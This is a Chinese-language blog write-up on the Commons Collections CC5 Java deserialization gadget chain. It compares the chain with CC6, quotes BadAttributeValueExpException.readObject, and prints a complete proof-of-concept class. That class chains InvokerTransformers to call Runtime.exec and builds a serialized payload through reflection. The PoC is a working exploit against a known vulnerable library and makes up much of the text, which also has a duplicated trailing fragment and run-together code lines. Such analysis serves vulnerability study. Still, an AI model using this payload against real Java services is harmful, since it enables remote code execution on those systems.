分析版本
Commons Collections 3.2.1
JDK 8u65
环境配置参考JAVA安全初探(三):CC1链全分析
分析过程
CC6是在CC1 LazyMap利用链(引用)的基础上。
CC5和CC6相似都是CC1 LazyMap利用链(引用)的基础上,改变了到LazyMap的入口类。
CC6是用TiedMapEntry的hashCode方法,调用getValue,再调用LazyMap.get
CC5是用TiedMapEntry的toString方法,调用getValue,再调用LazyMap.get
再继续向上找toString,作者找到了BadAttributeValueExpException类,可序列化,还重写了readObject方法。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}
}
其中Object val可以通过反射进行赋值,
Poc(我是在CC6的基础上改的)
public class cc5 {
// //LazyMap
// BadAttributeValueExpExceptionpublic static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);//断掉利用链 TiedMapEntry, LazyMap, ChainedTransformer都可以//举个例子修改tiedMapEntry的 keyTiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), 1);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);Field val = badAttributeValueExpException.getClass().getDeclaredField("val");val.setAccessible(true);val.set(badAttributeValueExpException, tiedMapEntry);//复原//因为key为private,而且也没有public方法能直接修改key//利用反射Class c = TiedMapEntry.class;Field key = c.getDeclaredField("map");key.setAccessible(true);key.set(tiedMapEntry, lazyMap);//cc1_poc.serialize(badAttributeValueExpException);cc1_poc.unserialize("s.ser");}
}
lize(badAttributeValueExpException);cc1_poc.unserialize("s.ser");}
}